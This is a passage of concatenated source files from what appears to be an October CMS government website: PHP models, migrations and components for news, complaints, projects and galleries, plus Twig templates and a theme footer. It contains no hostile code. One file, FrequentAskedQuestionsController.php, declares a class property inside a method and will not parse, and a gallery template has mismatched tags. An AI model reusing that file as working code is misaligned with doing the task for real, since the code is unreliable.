ya Serikali Kuu <br>•Kuandaa ramani kwa ajili ya mipangomiji <br>•Kumshauri Katibu Tawala wa Mkoa juu ya Tathimini ya Athari za Kimazingira <br>•<NAME> za Serikali za Mitaa katika kuendeleza maeneo ya wanyamaporI</p> <p>&nbsp;Seksheni hii inaongozwa na Katibu Tawala Msaidizi anayeshughulika na Miundombinu</p><file_sep>/web/plugins/gwf/news/updates/builder_table_create_gwf_news_news.php <?php namespace Gwf\News\Updates; use Schema; use October\Rain\Database\Updates\Migration; class BuilderTableCreateGwfNewsNews extends Migration { public function up() { Schema::create('gwf_news_news', function($table) { $table->engine = 'InnoDB'; $table->increments('id'); $table->string('title', 250); $table->text('content'); $table->date('published_date'); $table->boolean('activation_status'); $table->integer('recorder'); $table->string('slug', 250); $table->timestamp('created_at'); $table->timestamp('updated_at'); }); } public function down() { Schema::dropIfExists('gwf_news_news'); } } <file_sep>/plugins/renatio/logout/classes/Countdown.php <?php namespace Renatio\Logout\Classes; use Backend\Classes\Controller; use Backend\Facades\Backend; use Renatio\Logout\Models\Settings; /** * Class Countdown * @package Renatio\Logout\Classes */ class Countdown { const ASSETS_PATH = '/plugins/renatio/logout/assets/'; /** * @var */ protected $settings; public function __construct() { $this->settings = Settings::instance(); } /** * Initialize the counter */ public function make() { $this->extendController(); } /** * @return void */ protected function extendController() { if ($this->settings->show_counter) { Controller::extend(function ($controller) { $this->addAssets($controller); $this->addDynamicMethods($controller); }); } } /** * @param $controller */ protected function addAssets($controller) { $controller->addCss(self::ASSETS_PATH . 'css/main.css'); $controller->addJs(self::ASSETS_PATH . 'js/jquery.countdown.min.js'); $controller->addJs(self::ASSETS_PATH . 'js/main.js'); } /** * @param $controller */ protected function addDynamicMethods($controller) { $controller->addDynamicMethod('onGetSessionData', function () { return [ 'lifetime' => $this->settings->lifetime, 'redirect' => Backend::url(), ]; }); } }<file_sep>/plugins/gwf/dashboardlinks/models/Dashboardlink.php <?php namespace Gwf\Dashboardlinks\Models; use Model; use BackendAuth; /** * Model */ class Dashboardlink extends Model { use \October\Rain\Database\Traits\Validation; /* * Validation */ public $rules = [ 'name' => 'required', 'url' => 'required', ]; /* * Disable timestamps by default. * Remove this line if timestamps are defined in the database table. */ public $timestamps = false; /** * @var string The database table used by the model. */ public $table = 'gwf_dashboardlinks_'; public function beforeSave() { $user = BackendAuth::getUser(); $this->recorded_by = $user->id; } }<file_sep>/web/plugins/gwf/publication/models/Publicationcategory.php <?php namespace gwf\Publication\Models; use Model; /** * Model */ class Publicationcategory extends Model { use \October\Rain\Database\Traits\Validation; use \October\Rain\Database\Traits\Sluggable; /* * Validation */ public $rules = [ 'title' => 'required' ]; public $implement =['RainLab.Translate.Behaviors.TranslatableModel']; public $translatable = ['title']; /* * Disable timestamps by default. * Remove this line if timestamps are defined in the database table. */ public $timestamps = true; /** * @var string The database table used by the model. */ public $table = 'gwf_publication_publicationcategories'; protected $slugs = ['slug' => 'title']; public function publication() { return $this->hasMany('gwf\Publication\Models\Publication'); } }<file_sep>/plugins/gwf/projectandinvestment/updates/builder_table_update_gwf_projectandinvestment_projectsandinvestments_4.php <?php namespace gwf\projectandinvestment\Updates; use Schema; use October\Rain\Database\Updates\Migration; class BuilderTableUpdateGwfProjectandinvestmentProjectsandinvestments4 extends Migration { public function up() { Schema::table('gwf_projectandinvestment_projectsandinvestments', function($table) { $table->renameColumn('project_category_id', 'projectcategory_id'); }); } public function down() { Schema::table('gwf_projectandinvestment_projectsandinvestments', function($table) { $table->renameColumn('projectcategory_id', 'project_category_id'); }); } } <file_sep>/plugins/renatio/logout/assets/js/main.js function finalTime(time) { return new Date().getTime() + time * 60 * 1000; } $(function () { $('.mainmenu-preview').after('<li class="logout-counter"><span></span></li>'); $.request('onGetSessionData', { success: function (session) { var counter = $('.logout-counter span'); counter.countdown(finalTime(session.lifetime)) .on('update.countdown', function (countdown) { $(this).html(countdown.strftime('%M:%S')); }) .on('finish.countdown', function () { window.location.replace(session.redirect); }); $(document).on('ajaxSuccess', function () { var id = '#Form-field-Settings-lifetime'; if ($(id).length) { session.lifetime = $(id).val(); } counter.countdown(finalTime(session.lifetime)); }); } }); });<file_sep>/web/plugins/gwf/complains/updates/builder_table_create_gwf_complains_.php <?php namespace gwf\Complains\Updates; use Schema; use October\Rain\Database\Updates\Migration; class BuilderTableCreateGwfComplains extends Migration { public function up() { Schema::create('gwf_complains_', function($table) { $table->engine = 'InnoDB'; $table->increments('id'); $table->string('name'); $table->string('title'); $table->text('email'); $table->integer('phone'); $table->string('description'); $table->string('attachment'); $table->timestamp('created_at'); $table->timestamp('updated_at'); $table->string('slug'); }); } public function down() { Schema::dropIfExists('gwf_complains_'); } } <file_sep>/web/plugins/gwf/gallery/components/LatestVideo.php <?php namespace Gwf\Gallery\Components; use Lang; use Cms\Classes\Page; use RainLab\Builder\Classes\ComponentHelper; use SystemException; use Exception; use Cms\Classes\ComponentBase; use Gwf\Gallery\Models\Video; class LatestVideo extends ComponentBase { public $video; /** * Used to show all videos */ public $viewAll; /** * Message to display when there are no records. * @var string */ public $noRecordsMessage; public function ComponentDetails(){ return [ 'name' => "Latest Video", 'description' => "Currently uploaded video" ]; } protected function loadVideos(){ $video = Video::where('activation_status', 1)->orderby('id','DESC')->limit(1)->first(); return $video; } public function defineProperties() { return [ 'noRecordsMessage' => [ 'title' => 'rainlab.builder::lang.components.list_no_records', 'description' => 'rainlab.builder::lang.components.list_no_records_description', 'type' => 'string', 'default' => Lang::get('rainlab.builder::lang.components.list_no_records_default'), 'showExternalParam' => false, ], 'viewAll' => [ 'title' => 'View All', 'description' => 'rainlab.builder::lang.components.list_details_page_description', 'type' => 'dropdown', 'showExternalParam' => false, 'group' => 'rainlab.builder::lang.components.list_detalis_page_link' ] ]; } public function onRun(){ $this->prepareVars(); $this->video = $this->loadVideos(); } public function getViewAllOptions() { $pages = Page::sortBy('baseFileName')->lists('baseFileName', 'baseFileName'); $pages = [ '-' => Lang::get('rainlab.builder::lang.components.list_details_page_no') ] + $pages; return $pages; } protected function prepareVars() { $this->noRecordsMessage = $this->page['noRecordsMessage'] = Lang::get($this->property('noRecordsMessage')); // $this->displayColumn = $this->page['displayColumn'] = $this->property('displayColumn'); $viewAll = $this->property('viewAll'); if ($viewAll == '-') { $viewAll = null; } $this->viewAll = $this->page['viewAll'] = $viewAll; } } <file_sep>/plugins/gwf/projectandinvestment/models/Projectandinvestment.php <?php namespace Gwf\Projectandinvestment\Models; use Model; use Gwf\Projectandinvestment\Models\Category; /** * Model */ class Projectandinvestment extends Model { use \October\Rain\Database\Traits\Validation; use \October\Rain\Database\Traits\Sluggable; /* * Validation */ public $rules = [ 'title' => 'required', 'summary' => 'required', 'projectcategory_id' => 'required' ]; public $implement =['RainLab.Translate.Behaviors.TranslatableModel']; public $translatable = ['title','summary']; /* * Disable timestamps by default. * Remove this line if timestamps are defined in the database table. */ public $timestamps = true; /** * @var string The database table used by the model. */ public $table = 'gwf_projectandinvestment_projectsandinvestments'; protected $slugs = ['slug' => 'title']; public function categories() { return $this->belongsTo('gwf\projectandinvestment\Models\Category','projectcategory_id','slug'); } public $hasOne = [ 'my_relation' => [ 'gwf\projectandinvestment\Models\Category', 'key' => 'id', // key of the B class (B.id) 'otherKey' => 'projectcategory_id' // column of the A model that references B (A.model_b_id) ] ]; public function getProjectcategoryIdOptions() { return Category::where('activation_status',1)->lists('title','id'); } public $attachOne = [ 'project_file' => 'System\Models\File', ]; }<file_sep>/plugins/gwf/announcements/updates/builder_table_create_gwf_announcements_announcements.php <?php namespace Gwf\Announcements\Updates; use Schema; use October\Rain\Database\Updates\Migration; class BuilderTableCreateGwfAnnouncementsAnnouncements extends Migration { public function up() { Schema::create('gwf_announcements_announcements', function($table) { $table->engine = 'InnoDB'; $table->increments('id'); $table->text('title'); $table->text('author'); $table->text('content'); $table->dateTime('published_date'); $table->integer('activation_status'); $table->text('slug'); $table->timestamp('created_at'); $table->timestamp('updated_at'); $table->integer('user_id'); }); } public function down() { Schema::dropIfExists('gwf_announcements_announcements'); } } <file_sep>/themes/selous/content/static-pages/mbulu.htm [viewBag] title = "Mbulu" url = "/mbulu" layout = "simple-page" is_hidden = 0 navigation_hidden = 0 ==<file_sep>/web/plugins/gwf/complains/lang/en/lang.php <?php return [ 'plugin' => [ 'name' => 'Complains', 'description' => '' ] ];<file_sep>/web/plugins/gwf/faq/components/faqlist.php <?php namespace Gwf\Faq\Components; use Lang; use Cms\Classes\ComponentBase; use Gwf\Faq\Models\Faq; class Faqlist extends ComponentBase { public $faqs; public function componentDetails() { return [ 'name' => 'Faqs List', 'description' => 'List of Faqs' ]; } public function onRun(){ $this->faqs = $this->loadFaqs(); } protected function loadFaqs(){ return Faq::all(); } } <file_sep>/plugins/gwf/advertisements/updates/builder_table_update_gwf_advertisements_advertisements_3.php <?php namespace Gwf\Advertisements\Updates; use Schema; use October\Rain\Database\Updates\Migration; class BuilderTableUpdateGwfAdvertisementsAdvertisements3 extends Migration { public function up() { Schema::table('gwf_advertisements_advertisements', function($table) { $table->smallInteger('activation_status')->unsigned(); }); } public function down() { Schema::table('gwf_advertisements_advertisements', function($table) { $table->dropColumn('activation_status'); }); } } <file_sep>/plugins/gwf/complains/components/Complainlist.php <?php namespace Gwf\Complains\Components; use Lang; use Cms\Classes\ComponentBase; use Gwf\Complains\Models\Complain; use Input; use Mail; use Gwf\Contactus\Models\Contactus; use Redirect; use Route; use Flash; use Response; use Validator; use App\Http\Requests; use Illuminate\Http\Request; use File; class Complainlist extends ComponentBase { public $complains; public function componentDetails() { return [ 'name' => 'Complain Form', 'description' => 'Complain Form' ]; } public function onRun(){ $this->addJs('/plugins/gwf/complains/assets/js/form.js'); $this->complains = $this->loadComplains(); } public function loadComplains(){ return Complain::all(); } public function onSend(){ $vars = ['name' => Input::get('name'),'title' => Input::get('title'), 'email' => Input::get('email') ,'phone' => Input::get('phone'),'description' => Input::get('description'),'attachments' => Input::get('attachments')]; //die(Input::get('name')); /*$file = new \System\Models\File; $file->data = Input::file('attachments');*/ /* print_r("<pre>"); print_r($vars); exit;*/ $validator = Validator::make( [ 'name' => Input::get('name'), 'title' => Input::get('title'), 'email' => Input::get('email'), 'phone' => Input::get('phone'), 'description' => Input::get('description') ], [ 'name' => 'required', 'title' => 'required', 'email' => 'required|email', 'phone' => 'required', 'description' => 'required' ] ); if ($validator->fails()) { return Redirect::back()->withErrors($validator); } else{ /*$mime_type = 'mimes:jpeg,bmp,png,jpg'; $file_name = 'file_name'; $file = new \System\Models\File; $file->data = Input::file('attachments'); $file->save(); */ Mail::send('gwf.complains::mail.message', $vars, function($description) { $receiver = Contactus::orderby('id','DESC')->first()->email; $description->to($receiver, 'Admin Person'); $description->subject('Complain from website'); //$description->attach($file_path, ['as' => $file_name, 'mime' => $mime_type]); /* $description->attach($file->getRealPath(), array( 'as' => 'attachments.' . $file->getClientOriginalExtension(), 'mime' => $file->getMimeType()) );*/ }); //////iNSERT INTO db $complain=new complain;//this is model $complain->name=Input::get("name"); $complain->title=Input::get("title"); $complain->email=Input::get("email"); $complain->phone=Input::get("phone"); $complain->description=Input::get("description"); $complain->attachments = Input::get("attachments"); $complain->save(); Flash::success("Thank you, you have Successfully sent your feedback!!"); return Redirect::back(); } } } <file_sep>/plugins/gwf/advertisements/models/Advertisement.php <?php namespace Gwf\Advertisements\Models; use Model; use BackendAuth; use October\Rain\Support\Markdown; use October\Rain\Database\Attach\File; use October\Rain\Support\ValidationException; /** * Model */ class Advertisement extends Model { use \October\Rain\Database\Traits\Validation; use \October\Rain\Database\Traits\Sluggable; /* * Validation */ public $rules = [ 'title' => 'required', 'content' => 'required', 'advert_photo' => 'required' ]; public $implement =['RainLab.Translate.Behaviors.TranslatableModel']; public $translatable = ['title','content']; /* * Disable timestamps by default. * Remove this line if timestamps are defined in the database table. */ public $timestamps = true; /** * @var string The database table used by the model. */ public $table = 'gwf_advertisements_advertisements'; public $attachOne = ['advert_photo' => 'System\Models\File']; protected $slugs = ['slug' => 'title']; public function beforeSave() { } }<file_sep>/plugins/gwf/howdoi/components/singlehowdoi/default.htm {% set howdoi = __SELF__.howdoi %} {% set notFoundMessage = __SELF__.notFoundMessage %} {% if howdoi %} <h1 class="page-title">{{ howdoi.title }}</h1> {{ howdoi.description|raw }} {% else %} {{ notFoundMessage }} {% endif %}<file_sep>/plugins/gwf/announcements/updates/builder_table_update_gwf_announcements_announcements.php <?php namespace Gwf\announcements\Updates; use Schema; use October\Rain\Database\Updates\Migration; class BuilderTableUpdateGwfAnnouncementsAnnouncements extends Migration { public function up() { Schema::table('gwf_announcements_announcements', function($table) { $table->dropColumn('author'); }); } public function down() { Schema::table('gwf_announcements_announcements', function($table) { $table->text('author'); }); } } <file_sep>/web/themes/mikumi/pages/profile.htm title = "Profile" url = "/profile/:slug" layout = "right-sidebar" is_hidden = 0 [singleprofile] identifierValue = "{{ :slug }}" modelKeyColumn = "slug" notFoundMessage = "Record not found" == <div class="col-md-9 col-sm-9"> <!--START RIGHT SIDEBAR CONTENTE SECTION--> <div class="right-sidebar-content div-match-height"> <h1 class="page-title">{{ 'Profile'|_ }}</h1> {% component 'singleprofile' %} </div> <!-- /.right-sidebar-content --> <!--/END RIGHT SIDEBAR CONTENTE SECTION--> </div><file_sep>/web/plugins/gwf/profiles/Plugin.php <?php namespace Gwf\Profiles; use System\Classes\PluginBase; class Plugin extends PluginBase { public function registerComponents() { return [ 'Gwf\Profiles\Components\Profilelist' => 'profilelist', 'Gwf\Profiles\Components\Singleprofile' => 'singleprofile' ]; } public function registerSettings() { } } <file_sep>/web/plugins/gwf/howdoi/Plugin.php <?php namespace gwf\Howdoi; use System\Classes\PluginBase; class Plugin extends PluginBase { public function registerComponents() { return [ 'Gwf\Howdoi\Components\Howdoilinks' => 'howdoilinks', 'Gwf\Howdoi\Components\Singlehowdoi' => 'Singlehowdoi', ]; } public function registerSettings() { } } <file_sep>/plugins/gwf/relatedlink/Plugin.php <?php namespace gwf\Relatedlink; use System\Classes\PluginBase; class Plugin extends PluginBase { public function registerComponents() { return [ 'Gwf\Relatedlink\Components\RelatedlinkList' => 'relatedlink' ]; } public function registerSettings() { } } <file_sep>/plugins/gwf/gallery/components/gallerylist/default.htm {% set galleries = __SELF__.galleries %} {% set noRecordsMessage = __SELF__.noRecordsMessage %} {% set detailsPage = __SELF__.detailsPage %} {% set detailsKeyColumn = __SELF__.detailsKeyColumn %} {% set detailsUrlParameter = __SELF__.detailsUrlParameter %} <ul class="gallery-listing"> <ul class="gallery-listing"> {% for gallery in galleries %} <li> {# Use spaceless tag to remove spaces inside the A tag. #} {% spaceless %} {% if detailsPage %} <a href="{{ detailsPage|page({ (detailsUrlParameter): attribute(gallery, detailsKeyColumn) }) }}"> {% endif %} <img src="{{ gallery.gallery_images[0].thumb(200,200,'crop') }}" alt=""> <h4>{{ gallery.title }}</h4> </a> <hr> <span class="date-time"> {{ gallery.created_at|date("M d, Y") }} <span class="pull-right">{{ gallery.gallery_images|length }} Pics</span></span> {% if detailsPage %} </a> {% endif %} {% endspaceless %} </li> {% else %} <li class="no-data">{{ noRecordsMessage }}</li> {% endfor %} </ul> {% if galleries.lastPage > 1 %} <ul class="pagination"> {% if galleries.currentPage > 1 %} <li><a href="{{ this.page.baseFileName|page({ (pageParam): (galleries.currentPage-1) }) }}">&larr; Prev</a></li> {% endif %} {% for page in 1..galleries.lastPage %} <li class="{{ galleries.currentPage == page ? 'active' : null }}"> <a href="{{ this.page.baseFileName|page({ (pageParam): page }) }}">{{ page }}</a> </li> {% endfor %} {% if galleries.lastPage > galleries.currentPage %} <li><a href="{{ this.page.baseFileName|page({ (pageParam): (galleries.currentPage+1) }) }}">Next &rarr;</a></li> {% endif %} </ul> {% endif %}<file_sep>/plugins/renatio/logout/updates/reset_settings.php <?php namespace Renatio\Logout\Updates; use October\Rain\Database\Updates\Migration; use Renatio\Logout\Models\Settings; /** * Class ResetSettings * @package Renatio\Logout\Updates */ class ResetSettings extends Migration { /** * @return void */ public function up() { $settings = Settings::instance(); if (empty($settings->lifetime)) { $settings->resetDefault(); } } /** * @return void */ public function down() { } }<file_sep>/themes/mikumi/partials/footer.htm [viewBag] [staticMenu] code = "footer-menu" [quicklinks] [relatedlink] [ContactusDetails] [LatestVideo] noRecordsMessage = "No records found" viewAll = "videos" == <div class="mini-footer"> <div class="container"> <div class="row "> <div class="col-md-12"> <div class="wrapper"> <div class="col-md-3 col-sm-3 hidden-xs hidden-sm"> <div class="footer-div-section footer-address-wrapper"> <h4>{{ 'Contact Us'|_ }}</h4> {% set contactinfo = ContactusDetails.contactinfo %} {% for contact in contactinfo %} <p> {{ contact.physical_address }} </p> <p> <strong>{{ 'Postal Address'|_ }}: </strong> {{ contact.post_address }} </p> <p> <strong>{{ 'Telephone'|_ }}: </strong> {{ contact.phone }} </p> <p> <strong>{{ 'Email'|_ }}: </strong> {{ contact.email }} </p> <p> <strong>{{ 'Mobile'|_ }}: </strong> {{ contact.mobile }} </p> {% endfor %} <div class="social-network"> {% if this.theme.site_footer_facebook %} <a href=" {{ this.theme.site_footer_facebook }}" target="_blank"><img src="{{ 'assets/images/facebook.png' | theme }}"></a> {% endif %} {% if this.theme.site_footer_twitter %} <a href="{{ this.theme.site_footer_twitter }}" target="_blank"><img src="{{ 'assets/images/twitter.png' | theme }}"></a> {% endif %} {% if this.theme.site_footer_google %} <a href="{{ this.theme.site_footer_google }}" target="_blank"><img src="{{ 'assets/images/google.png' | theme }}"></a> {% endif %} {% if this.theme.site_footer_youtube %} <a href="{{ this.theme.site_footer_youtube }}" target="_blank"><img src="{{ 'assets/images/youtube.png' | theme }}"></a> {% endif %} {% if this.theme.site_footer_blogger %} <a href="{{ this.theme.site_footer_blogger }}" target="_blank"><img src="{{ 'assets/images/blogger.png' | theme }}"></a> {% endif %} {% if this.theme.site_footer_instagram %} <a href="{{ this.theme.site_footer_instagram }}" target="_blank"><img src="{{ 'assets/images/instagram.png' | theme }}"></a> {% endif %} </div> </div> </div> <div class="col-md-3 col-sm-3 hidden-xs hidden-sm"> <div class="footer-div-section footer-address-wrapper"> <h4>{{ 'Quick Links'|_ }}</h4> {% component 'quicklinks' %} </div> </div> <div class="col-md-3 col-sm-3 hidden-xs hidden-sm "> <div class="footer-div-section footer-social-media-wrapper"> <h4>{{ 'Related Links'|_ }}</h4> {% set relatedlinks = relatedlink.relatedlinks %} <ul class="ads-listing"> {% for relatedlink in relatedlinks %} <li><a href="{{ relatedlink.url }}" target="_blank">{{ relatedlink.title }}</a></li> {% endfor %} </ul> </div> </div> <div class="col-md-3 col-sm-3 hidden-xs hidden-sm"> <div class="footer-div-section footer-video-wrapper"> <h4>{{ 'Recent Video'|_ }}</h4> <div class="home-videos"> {% component 'LatestVideo' %} </div> </div> </div> </div> <!-- /.wrapper --> </div> <!-- /.col-md-12 --> </div> </div> <!--/container--> </div> <div class="footer"> <!--footer-container--> <!--footer-container--> <div class="container"> <div class="row"> <!--/container white--> {% if staticMenu.menuItems %} <ul class="footer-damn-lists"> {% partial 'footer-menu' items=staticMenu.menuItems %} </ul> {% endif %} <p class="text-center">{{ this.theme.site_footer_copyright|_ }} </p> </div> </div> </div> <!--CORE JS--> <script src="{{ 'assets/js/jquery.min.js' | theme }}"></script> <script src="{{ 'assets/js/bootstrap.min.js' | theme }}"></script> <script src="{{ 'assets/js/matchHeight.min.js' | theme }}"></script> <script src="{{ 'assets/js/placeholder.min.js' | theme }}"></script> <script src="{{ 'assets/js/easing.min.js' | theme }}"></script> <script src="{{ 'assets/js/smartmenu.min.js' | theme }}"></script> <script src="{{ 'assets/js/smartmenu.bootstrap.min.js' | theme }}"></script> <script src="{{ 'assets/js/jquery.lazyload.min.js' | theme }}"></script> <script src="{{ 'assets/js/jquery.magnific-popup.min.js' | theme }}"></script> <script src="{{ 'assets/js/moment.min.js' | theme }}"></script> <script src="{{ 'assets/js/jquery.nice-select.min.js' | theme }}"></script> <script src="{{ 'assets/js/fastclick.min.js' | theme }}"></script> <script src="{{ 'assets/js/prism.min.js' | theme }}"></script> <script src="{{ ['~/modules/system/assets/js/framework.js'] | theme }}"></script> <script src="{{ ['~/modules/system/assets/js/framework.extras.js'] | theme }}"></script> <link rel="stylesheet" href="{{ ['~/modules/system/assets/css/framework.extras.css'] | theme }}"> <!--END CORE JS--> <!--PAGES JS--> {% placeholder footer %} <script> jQuery(document).ready(function() { jQuery('.video-content').magnificPopup({ type: 'iframe', iframe: { markup: '<div class="mfp-iframe-scaler ">' + '<div class="mfp-close "></div>' + '<iframe class="mfp-iframe " frameborder="0 " allowfullscreen></iframe>' + '<div class="mfp-title ">Some caption</div>' + '</div>' }, callbacks: { markupParse: function(template, values, item) { values.title = item.el.attr('title'); } } }); }); </script> <!--END PAGES JS--> <!--CUSTOM JS--> <script src="{{ 'assets/js/custom.min.js' | theme }}"></script> <!-- Google Analytics: change UA-XXXXX-X to be your site's ID. --> {% scripts %} <script> (function(b, o, i, l, e, r) { b.GoogleAnalyticsObject = l; b[l] || (b[l] = function() { (b[l].q = b[l].q || []).push(arguments) }); b[l].l = +new Date; e = o.createElement(i); r = o.getElementsByTagName(i)[0]; e.src = '//www.google-analytics.com/analytics.js'; r.parentNode.insertBefore(e, r) }(window, document, 'script', 'ga')); ga('create', 'UA-XXXXX-X', 'auto'); ga('send', 'pageview'); </script> <!--END OF CUSTOM JS--> </body> </html><file_sep>/web/plugins/gwf/complains/updates/builder_table_update_gwf_complains_.php <?php namespace gwf\Complains\Updates; use Schema; use October\Rain\Database\Updates\Migration; class BuilderTableUpdateGwfComplains extends Migration { public function up() { Schema::table('gwf_complains_', function($table) { $table->renameColumn('attachment', 'attachments'); }); } public function down() { Schema::table('gwf_complains_', function($table) { $table->renameColumn('attachments', 'attachment'); }); } } <file_sep>/plugins/gwf/publication/lang/en/lang.php <?php return [ 'plugin' => [ 'name' => 'publication', 'description' => 'Handles all publication documents' ] ];<file_sep>/web/plugins/gwf/projectandinvestment/components/Categoryprojects.php <?php namespace Gwf\Projectandinvestment\Components; use Lang; use Cms\Classes\ComponentBase; use RainLab\Builder\Classes\ComponentHelper;; use SystemException; use Gwf\Projectandinvestment\Models\Projectandinvestment; use Gwf\Projectandinvestment\Models\Category; use Cms\Classes\Page; /*use Illuminate\Pagination\LengthAwarePaginator;*/ use Illuminate\Pagination\Paginator; class Categoryprojects extends ComponentBase { /** * A model instance to display * @var \October\Rain\Database\Model */ public $detailsPage; public $categoryprojects; public $recordsPerPage; public $detailsUrlParameter; /** * Message to display if the record is not found. * @var string */ public $notFoundMessage; /** * Model column to display on the details page. * @var string */ public $displayColumn; /** * Model column to use as a record identifier for fetching the record from the database. * @var string */ public $modelKeyColumn; /** * Identifier value to load the record from the database. * @var string */ public $identifierValue; public $pi_category_title; public function componentDetails() { return [ 'name' => 'Projects and Investment by Category', 'description' => 'List of Projects and Investments by category' ]; } // // Properties // public function defineProperties() { return [ /* 'modelClass' => [ 'title' => 'rainlab.builder::lang.components.details_model', 'type' => 'dropdown', 'showExternalParam' => false ],*/ 'detailsPage' => [ 'title' => 'rainlab.builder::lang.components.list_details_page', 'description' => 'rainlab.builder::lang.components.list_details_page_description', 'type' => 'dropdown', 'showExternalParam' => false, ], 'identifierValue' => [ 'title' => 'rainlab.builder::lang.components.details_identifier_value', 'description' => 'rainlab.builder::lang.components.details_identifier_value_description', 'type' => 'string', 'default' => '{{ :id }}', 'validation' => [ 'required' => [ 'message' => Lang::get('rainlab.builder::lang.components.details_identifier_value_required') ] ] ], 'modelKeyColumn' => [ 'title' => 'rainlab.builder::lang.components.details_key_column', 'description' => 'rainlab.builder::lang.components.details_key_column_description', 'type' => 'autocomplete', 'default' => 'id', 'validation' => [ 'required' => [ 'message' => Lang::get('rainlab.builder::lang.components.details_key_column_required') ] ], 'showExternalParam' => false ], 'notFoundMessage' => [ 'title' => 'rainlab.builder::lang.components.details_not_found_message', 'description' => 'rainlab.builder::lang.components.details_not_found_message_description', 'default' => Lang::get('rainlab.builder::lang.components.details_not_found_message_default'), 'type' => 'string', 'showExternalParam' => false ], 'recordsPerPage' => [ 'title' => 'rainlab.builder::lang.components.list_records_per_page', 'description' => 'rainlab.builder::lang.components.list_records_per_page_description', 'type' => 'string', 'validationPattern' => '^[0-9]*$', 'validationMessage' => 'rainlab.builder::lang.components.list_records_per_page_validation', 'group' => 'rainlab.builder::lang.components.list_pagination' ], 'pageNumber' => [ 'title' => 'rainlab.builder::lang.components.list_page_number', 'description' => 'rainlab.builder::lang.components.list_page_number_description', 'type' => 'string', 'default' => '{{ :page }}', 'group' => 'rainlab.builder::lang.components.list_pagination' ], ]; } public function getModelClassOptions() { return ComponentHelper::instance()->listGlobalModels(); } public function getDisplayColumnOptions() { return ComponentHelper::instance()->listModelColumnNames(); } public function getModelKeyColumnOptions() { return ComponentHelper::instance()->listModelColumnNames(); } // // Rendering and processing // public function onRun() { $this->prepareVars(); $this->categoryprojects = $this->loadProjectsByCategory(); } protected function prepareVars() { $this->notFoundMessage = $this->page['notFoundMessage'] = Lang::get($this->property('notFoundMessage')); $this->modelKeyColumn = $this->page['modelKeyColumn'] = $this->property('modelKeyColumn'); $this->identifierValue = $this->page['identifierValue'] = $this->property('identifierValue'); $this->pi_category_title = $projects_category = Category::where('slug',$this->identifierValue)->first()->title; $this->detailsUrlParameter = $this->page['modelKeyColumn'] = $this->property('modelKeyColumn'); if (!strlen($this->modelKeyColumn)) { throw new SystemException('The model key column name is not set.'); } $detailsPage = $this->property('detailsPage'); if ($detailsPage == '-') { $detailsPage = null; } $this->detailsPage = $this->page['detailsPage'] = $detailsPage; if (strlen($this->detailsPage)) { if (!strlen($this->modelKeyColumn)) { throw new SystemException('The model key column should be set to generate links to the details page.'); } if (!strlen($this->detailsUrlParameter)) { throw new SystemException('The details page URL parameter name should be set to generate links to the details page.'); } } } protected function loadProjectsByCategory() { $recordsPerPage = trim($this->property('recordsPerPage')); if (!strlen($recordsPerPage)) { // Pagination is disabled - return all records $projects_category = Category::where($this->modelKeyColumn, $this->identifierValue)->first()->id; return Projectandinvestment::where('projectcategory_id', '=', $projects_category)->orderby('id','DESC')->get(); /* return Projectandinvestment::get();*/ } $projects_category = Category::where($this->modelKeyColumn, $this->identifierValue)->first()->id; $categoryprojects = Projectandinvestment::where('projectcategory_id', '=', $projects_category)->orderby('id','DESC')->paginate($recordsPerPage); return $categoryprojects; } public function getDetailsPageOptions() { $pages = Page::sortBy('baseFileName')->lists('baseFileName', 'baseFileName'); $pages = [ '-' => Lang::get('rainlab.builder::lang.components.list_details_page_no') ] + $pages; return $pages; } }<file_sep>/web/plugins/gwf/howdoi/updates/builder_table_create_gwf_howdoi_howdoi.php <?php namespace gwf\Howdoi\Updates; use Schema; use October\Rain\Database\Updates\Migration; class BuilderTableCreateGwfHowdoiHowdoi extends Migration { public function up() { Schema::create('gwf_howdoi_howdoi', function($table) { $table->engine = 'InnoDB'; $table->increments('id'); $table->string('title', 250); $table->text('description'); $table->text('slug'); }); } public function down() { Schema::dropIfExists('gwf_howdoi_howdoi'); } } <file_sep>/web/plugins/gwf/contactus/Plugin.php <?php namespace Gwf\Contactus; use System\Classes\PluginBase; class Plugin extends PluginBase { public function registerComponents() { return [ 'Gwf\Contactus\Components\ContactusDetails' => 'ContactusDetails', 'Gwf\Contactus\Components\ContactForm' => 'ContactForm', 'Gwf\Contactus\Components\RegionalDetails' => 'RegionalDetails', 'Gwf\Contactus\Components\ContactusList' => 'ContactusList', ]; } public function registerSettings() { } } <file_sep>/web/plugins/gwf/events/updates/builder_table_create_gwf_events_.php <?php namespace Gwf\Events\Updates; use Schema; use October\Rain\Database\Updates\Migration; class BuilderTableCreateGwfEvents extends Migration { public function up() { Schema::create('gwf_events_', function($table) { $table->engine = 'InnoDB'; $table->increments('id'); $table->string('title', 250); $table->date('start_date'); $table->time('start_time'); $table->date('end_date'); $table->time('end_time'); $table->time('event_length'); $table->text('content'); $table->boolean('published'); }); } public function down() { Schema::dropIfExists('gwf_events_'); } } <file_sep>/plugins/gwf/events/updates/builder_table_update_gwf_events_events_2.php <?php namespace Gwf\Events\Updates; use Schema; use October\Rain\Database\Updates\Migration; class BuilderTableUpdateGwfEventsEvents2 extends Migration { public function up() { Schema::table('gwf_events_events', function($table) { $table->renameColumn('published', 'activation_status'); }); } public function down() { Schema::table('gwf_events_events', function($table) { $table->renameColumn('activation_status', 'published'); }); } } <file_sep>/plugins/flosch/slideshow/updates/builder_table_update_flosch_slideshow_slideshows_2.php <?php namespace Flosch\Slideshow\Updates; use Schema; use October\Rain\Database\Updates\Migration; class BuilderTableUpdateFloschSlideshowSlideshows2 extends Migration { public function up() { Schema::table('flosch_slideshow_slideshows', function($table) { $table->renameColumn('active', 'activate'); }); } public function down() { Schema::table('flosch_slideshow_slideshows', function($table) { $table->renameColumn('activate', 'active'); }); } } <file_sep>/web/plugins/gwf/faq/FrequentAskedQuestionsController.php <?php namespace Gwf\Faq\Models; use Model; /** * Model */ class FrequentAskedQuestionsController extends Model { use \October\Rain\Database\Traits\Validation; use \October\Rain\Database\Traits\Sluggable; /* * Validation */ public $rules = [ ]; /* * Disable timestamps by default. * Remove this line if timestamps are defined in the database table. */ public $timestamps = true; /** * @var string The database table used by the model. */ public $table = 'gwf_faq_faq'; public function beforeSave() { protected $slugs = ['slug' => 'questions']; } }<file_sep>/web/themes/selous/pages/games.htm title = "Games" url = "/games" layout = "right-sidebar" description = "A page to display games" is_hidden = 0 == <!-- MIDDLE CONTENT --> <div class="middle-content-wrapper right-sidebar-aligner"> <h1 class="home-content-title">{% if this.page.title %}{{ this.page.title}}{% endif %}</h1> <hr class="home-content-hr"> <!--START MAIN CONTENT--> <div 